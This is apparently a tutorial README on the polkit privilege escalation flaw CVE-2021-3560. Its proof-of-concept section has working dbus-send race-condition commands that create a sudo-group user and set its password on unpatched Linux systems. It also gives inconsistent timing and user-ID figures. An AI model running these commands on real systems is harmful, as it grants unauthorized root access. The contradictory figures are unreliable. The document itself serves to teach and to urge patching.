# Polkit Vulnerability - CVE-2021-3560 :closed_book:
In 2021, a researcher named Kevin BackHouse discovered a privilege escalation vulnerability in the polkit utility. however, not all linux versions are vulnerable to polkit.
Below is an example of a vulnerable version;
* Red Hat Enterprise Linux 8
* Fedora 21 (or later)
* Debian Testing ("Bullseye")
* Ubuntu 20.04 LTS ("Focal Fossa")
The most modern versions of linux already have the correction of this vulnerability, however, older versions as mentioned above, still have this vulnerability.
<img width="550" height="400" src="./img/vuln.JPG">
## But what is Polkit :question:
The Polkit is a system service installed by **default** on many Linux distributions. It’s used by systemd, so any Linux distribution that uses systemd also uses polkit.
The Polkit is the system service that’s running under the hood when you see a dialog box, exemple;
<img width="600" height="400" src="https://devanswe.rs/wp-content/uploads/2021/01/authentication-is-required-to-create-a-color-managed-device.png">
If at any time you need to change privileges or do something that requires higher privileges like creating a user account, Polkit is responsible for allowing or denying that action.
## what is the impact of this vulnerability :question:
The **CVE-2021-3560** enables an unprivileged local attacker to gain root privileges. It’s very simple and quick to exploit, so it’s important that you update your Linux installations as soon as possible. Any system that has polkit version 0.113 (or later) installed is vulnerable. That includes popular distributions such as RHEL 8 and Ubuntu 20.04.
## How is Polkit vulnerable :question:
Manually sending dbus messages to the dbus-daemon (effectively an API to allow different processes the ability to communicate with each other), then killing the request before it has been fully processed, we can trick polkit into authorising the command.
### Who is dbus-daemon :question:
The **dbus-daemon** is a program running in the background which brokers messages between applications.
<img width="500" height="300" src="./img/6.JPG">
Basically the replay of this vulnerability will be done by following the steps below;
1. The attacker manually sends a dbus message to the accounts-daemon requesting the creation of a new account with sudo permissions (or latterly, a password to be set for the new user). This message gets given a unique ID by the dbus-daemon.
2. The attacker kills the message after polkit receives it, but before polkit has a chance to process the message. This effectively destroys the unique message ID.
3. Polkit asks the dbus-daemon for the user ID of the user who sent the message, referencing the (now deleted) message ID.
4. The dbus-daemon can't find the message ID because we killed it in step two. It handles the error by responding with an error code.
5. Polkit mishandles the error and substitutes in 0 for the user ID -- i.e. the root account of the machine.
6. Thinking that the root user requested the action, polkit allows the request to go through unchallenged.
In short, by destroying the message ID before the dbus-daemon has a chance to give polkit the correct ID, we exploit the poor error-handling in polkit to trick the utility into thinking that the request was made by the all-powerful root user.
## Practicing - POC
1. Let's add a new user called ***lucas***, with sudo permissions, and a password of ***banana***.
<img width="700" height="50" src="./img/1.JPG">
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
***In this case, when trying to create the user lucas, we get a message that we don't have permission (Authentication is required).***
This command will manually send a dbus message to the accounts daemon, printing the response and creating a new user called ***lucas***(string:lucas), with a description of "test vulns" (string:"test vulns") and membership of the sudo group set to true (referenced by the int32:1).
2. As this is effectively a race condition, we first need to determine how long our command will take to run. Let's try this with the first dbus message:
<img width="700" height="100" src="./img/2.JPG">
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
In this case, we use the same user creation command in step 1, however, we use the 'time' function to return the time of this command.
This takes 0.011 seconds. This number will be slightly different each time you run the command.
3. We need to kill the command approximately halfway through execution. let's try to interrupt the process with 0.005 seconds, ok? (This value changes for each case).
Let's try this. We need to send the dbus message, then kill it about halfway through:
<img width="700" height="100" src="./img/3.JPG">
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
we sent the dbus message in a background job (using the ampersand to background the command). We then told it to sleep for 0.005 milliseconds, then kill the previous process ($!). This successfully created the new user, adding them into the sudo group.
We should note down at this point that the user ID of the new user in this instance is 1000.
4. We need a password hash here, so let's generate a Sha512Crypt hash for our chosen password (banana):
<img width="700" height="30" src="./img/4.JPG">
Using openssl, we generate a password of type 6 (SHA512-crypt) and our plaintext password.
5. The 0.135 milliseconds worked, so lets try again
<img width="700" height="300" src="./img/5.JPG">
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
In this case we are including a password (banana) for the id 1005 that was created in the steps above.
## Polkit Fixed :heavy_check_mark:
This vulnerability was publicly disclosed, and the fix was released on June 3, 2021 and was assigned **CVE-2021-3560**.
Check the update of your machine with **yum/apt update/upgrade.**